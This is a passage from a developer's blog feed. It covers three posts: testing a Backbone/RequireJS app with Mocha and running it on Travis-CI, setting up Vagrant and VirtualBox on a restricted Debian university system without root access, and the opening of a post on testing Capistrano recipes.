    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;../test/router.test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;mocha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First, Mocha and Chai are loaded, followed by jQuery and RequireJS. Then, a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.js&lt;/code&gt; file is loaded. It contains the Mocha and RequireJS configurations as
well as two global variables (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assert&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;expect&lt;/code&gt;) that are used in the test
files:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;assert&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;chai.assert,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;chai.expect;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;mocha.setup(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;ui:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;bdd&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;require.config(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;baseUrl:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;../js/&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I decided to follow the Behavior Driven Development style but this isn’t
mandatory. Here is an example of a test file for the TravisLight’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;router&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;define(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;router&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;(router)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;use script&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;describe(&apos;router&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;it(&apos;should&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;be&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;an&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;instance&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;Backbone.Router&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;expect(router).to.be.an.instanceOf(Backbone.Router);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;it(&apos;should&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;have&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;routes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;property&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;expect(router.routes).to.be.an(&apos;object&apos;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You will find more tests in this &lt;a href=&quot;https://github.com/willdurand/TravisLight/tree/master/test&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test/&lt;/code&gt;
directory&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Achievement unlocked! I wrote a JavaScript application that is tested.&lt;/p&gt;

&lt;h2 id=&quot;using-travis-ci-with-javascript-projects&quot;&gt;Using Travis-CI with JavaScript projects&lt;/h2&gt;

&lt;p&gt;I am a big fan of &lt;a href=&quot;https://travis-ci.org/&quot;&gt;Travis-CI&lt;/a&gt; and I wanted to put
TravisLight on it. Thanks to Grunt, it couldn’t be easier!&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/kmiyashiro/grunt-mocha&quot;&gt;grunt-mocha&lt;/a&gt; plugin allows to
use Mocha and &lt;a href=&quot;https://phantomjs.org/&quot;&gt;PhantomJS&lt;/a&gt; to run a test suite. Here is
the TravisLight’s configuration for this plugin:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;mocha:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;all:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;test/index.html&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grunt mocha&lt;/code&gt; runs the test suite using PhantomJS (a headless browser):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ grunt mocha
Running &quot;mocha:all&quot; (mocha) task
Testing index.html...................OK
&amp;gt;&amp;gt; 19 assertions passed (0.14s)

Done, without errors.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Not bad, right? However, Travis-CI needs to be configured with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.travis.yml&lt;/code&gt;
file. JavaScript projects have to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node_js&lt;/code&gt; environment on Travis-CI
and the application requires a set of libraries installed with Bower.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;language&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;node_js&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;node_js&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0.8&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;before_script&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;export PATH=\$PATH:`npm bin`&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;bower install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Travis-CI automatically runs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm test&lt;/code&gt;. This second command
is configured in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;./node_modules/grunt/bin/grunt test&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-end&quot;&gt;The end&lt;/h2&gt;

&lt;p&gt;I sincerely enjoyed this weekend project. Working on a real project, even a
small one like TravisLight, allowed me to discover new things and understand a
bit better what it is like to be a frontend developer.&lt;/p&gt;

&lt;p&gt;I also kinda felt in love with the JavaScript community. There is a lot of
awesome libraries and frameworks these days! Great stuff, looking forward to
writing more JavaScript in the future.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Installing Vagrant in a restricted environment</title>
        <link href="https://williamdurand.fr/2012/12/06/installing-vagrant-in-a-restricted-environment/"/>
        <updated>2012-12-06T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/12/06/installing-vagrant-in-a-restricted-environment</id>
        <content type="html">&lt;p&gt;Lately, I had to install &lt;a href=&quot;https://www.vagrantup.com/&quot;&gt;Vagrant&lt;/a&gt; in a restricted environment. By that, I
mean an infrastructure with restricted permissions for our users, disk quotas,
NFS volumes and a stable operating system: Debian Squeeze32. This work has been
done in collaboration with the sysadmin of my University.&lt;/p&gt;

&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;

&lt;p&gt;At the time of writing, Vagrant needs VirtualBox 4.0 or upper, but the latest
&lt;a href=&quot;https://wiki.debian.org/VirtualBox&quot;&gt;VirtualBox version available for Debian stable&lt;/a&gt; is 3.2.10 OSE.
Fortunately, Debian Backports provide VirtualBox 4.0.x:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# /etc/apt/sources.list
deb http://backports.debian.org/debian-backports squeeze-backports main
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Installing VirtualBox becomes easy:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get -t squeeze-backports install virtualbox virtualbox-dkms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;virtualbox-dkms&lt;/code&gt; package is required to compile the module. If you want a
graphical user interface, you should install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;virtualbox-qt&lt;/code&gt; too.&lt;/p&gt;

&lt;p&gt;Also, if you use a virtualization solution (KVM for instance), you should unload
its module (&lt;a href=&quot;https://man7.org/linux/man-pages/man8/rmmod.8.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rmmod&lt;/code&gt;(8)&lt;/a&gt; is your friend).&lt;/p&gt;

&lt;p&gt;Now, let’s install Vagrant. Last stable version is 1.0.5, and you can find
packages at: &lt;em&gt;downloads.vagrantup.com/tags/v1.0.5&lt;/em&gt; (this link no longer works).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget http://files.vagrantup.com/packages/be0bc66efc0c5919e92d8b79e973d9911f2a511f/vagrant_1.0.5_i686.deb
dpkg -i vagrant_1.0.5_i686.deb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;customizing-the-default-directories&quot;&gt;Customizing the default directories&lt;/h2&gt;

&lt;p&gt;As I said in the introduction, users have disk quotas (500Mo) and they can’t
easily use Vagrant for two reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;VirtualBox stores its VMs in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/VirtualBox VMs/&lt;/code&gt; by default&lt;/li&gt;
  &lt;li&gt;Vagrant stores its boxes in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.vagrant.d/&lt;/code&gt; by default&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The solution is to change these two directories. Thanksfully, Vagrant provides
a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VAGRANT_HOME&lt;/code&gt; environment variable. You can easily change the default Vagrant
directory with:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export VAGRANT_HOME=/path/to/vagrant
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In our case, we used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/local/vagrant&lt;/code&gt; as the main Vagrant directory and we
set it for all users. That allowed us to import a set of boxes for our users.&lt;/p&gt;

&lt;p&gt;Let’s do the same thing for VirtualBox! Err… no. There is no environment
variable defined for VirtualBox but we can still configure VirtualBox using
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vboxmanage&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vboxmanage setproperty machinefolder /path/to/virtualbox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://www.virtualbox.org/manual/ch08.html#vboxmanage-setproperty&quot;&gt;VBoxManage setproperty&lt;/a&gt; is useful to change global settings. The
command above changes the default machine folder (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/VirtualBox VMs&lt;/code&gt; by default).&lt;/p&gt;

&lt;p&gt;We created a tiny shell script named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vagrant&lt;/code&gt;, located in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATH&lt;/code&gt; of our
users, to run this command and then forward the other arguments to Vagrant. The
reason is quite simple, there is no way to run VBoxManage using Vagrant before
everything else. I opened an issue for that (see:
&lt;a href=&quot;https://github.com/mitchellh/vagrant/issues/1247&quot;&gt;#1247&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;To avoid conflicts, you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$USER&lt;/code&gt; to define a machine folder per user:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vboxmanage setproperty machinefolder &quot;/usr/local/virtualbox/$USER&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So far so good, our users can run Vagrant to install VMs.&lt;/p&gt;

&lt;h2 id=&quot;the-initramfs-prompt-of-death&quot;&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;initramfs&lt;/code&gt; prompt (of death)&lt;/h2&gt;

&lt;p&gt;We tried the &lt;em&gt;lucid32&lt;/em&gt; Vagrant box, which is an &lt;a href=&quot;https://www.vagrantup.com/docs/boxes&quot;&gt;official box&lt;/a&gt;, but that
didn’t work. This was an issue related to the box itself. VirtualBox couldn’t
boot it and an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;initramfs&lt;/code&gt; prompt was displayed. Most of the time, this prompt
appears because no disk can be found.&lt;/p&gt;

&lt;p&gt;That’s why we tried to change the disk controller. We removed the SATA
controller and attached the disk to the IDE controller. With this configuration,
we were able to boot the image, and to log in. &lt;a href=&quot;https://github.com/mitchellh/vagrant/issues/884#issuecomment-10857450&quot;&gt;This has been
reported&lt;/a&gt;
as well.&lt;/p&gt;

&lt;p&gt;The “fix” was to switch from a SATA controller to an IDE controller. Then again,
it can be done using VBoxManage:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vboxmanage storagectl &amp;lt;UUID&amp;gt; --name &quot;SATA Controller&quot; --remove
vboxmanage storageattach &amp;lt;UUID&amp;gt; --storagectl &quot;IDE Controller&quot; --port 0 --device 0 --type hdd --medium /path/to/box-disk1.vmdk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vagrant provides a way to customize a VM thanks to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.vm.customize&lt;/code&gt;
parameter:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config.vm.customize [&quot;modifyvm&quot;, :id, &quot;--memory&quot;, 1024]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, we decided to patch the boxes instead of using this parameter. One
reason was that we didn’t know how to get the path to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmdk&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;We were able to boot a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lucid32&lt;/code&gt; VM but a new issue appeared: NFS. In order to
share the current working directory with the VM, we used this configuration in
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vagrantfile&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config.vm.share_folder(&quot;v-root&quot;, &quot;/vagrant&quot;, &quot;.&quot;, :nfs =&amp;gt; true)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It worked fine without NFS set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; but it was quite slow. Thus, NFS was a
requirement.&lt;/p&gt;

&lt;h2 id=&quot;the-surprise&quot;&gt;The surprise&lt;/h2&gt;

&lt;p&gt;I dug into the code to understand how NFS was managed and why it was asking
for admin credentials. I was really suprised while reading the code. There was
no way to configure Vagrant to control the NFS part and, sadly, it was asking
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; password because of a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo su root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There is no way to give the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; password to our users (mainly students). We
ended up patching Vagrant to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exportfs&lt;/code&gt; and a shell script to perform &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt;.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nfsd&lt;/code&gt; is always up so there is no need to restart it and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exportfs&lt;/code&gt; does a
decent job. Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc&lt;/code&gt; is not writable for everyone, we used a shell script
to change the content of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/exports&lt;/code&gt; using a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed -i -e&lt;/code&gt;. Now, both
commands are sudoable.&lt;/p&gt;

&lt;p&gt;And, that’s it! Our users can use Vagrant as usual.&lt;/p&gt;

&lt;h2 id=&quot;useful-tips&quot;&gt;Useful tips&lt;/h2&gt;

&lt;p&gt;Debugging Vagrant can be really useful, especially when you start playing with
VM customization. To enable logging, use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VAGRANT_LOG&lt;/code&gt; environment variable:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;VAGRANT_LOG=INFO vagrant up
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hardware virtualization &lt;strong&gt;should&lt;/strong&gt; be enabled if you want to run 64-bit VMs on
a 32-bit host. The VirtualBox documentation isn’t super clear about that in the
chapter about &lt;a href=&quot;https://www.virtualbox.org/manual/ch10.html#hwvirt&quot;&gt;hardware vs software virtualization&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Vagrant needs some improvements to be more easily configurable and a bit safer
in my opinion. However, workarounds exist. In the end, Vagrant is a great tool
and it just works!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Testing Capistrano recipes for dummies</title>
        <link href="https://williamdurand.fr/2012/11/06/testing-capistrano-recipes-for-dummies/"/>
        <updated>2012-11-06T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/11/06/testing-capistrano-recipes-for-dummies</id>
        <content type="html">&lt;p&gt;A couple months ago, I &lt;a href=&quot;/2012/06/22/capifony-the-cool-capistrano-recipes-for-symfony-applications/&quot;&gt;took the lead of capifony&lt;/a&gt;, a set of
&lt;a href=&quot;https://github.com/capistrano/capistrano&quot;&gt;Capistrano&lt;/a&gt; recipes for &lt;a href=&quot;http://symfony.com&quot;&gt;Symfony&lt;/a&gt; projects. I tried to
revamp the project and one of my goals was to add tests. This article presents
my work on that topic.&lt;/p&gt;

&lt;h2 id=&quot;making-your-recipe-testable&quot;&gt;Making your recipe testable&lt;/h2&gt;

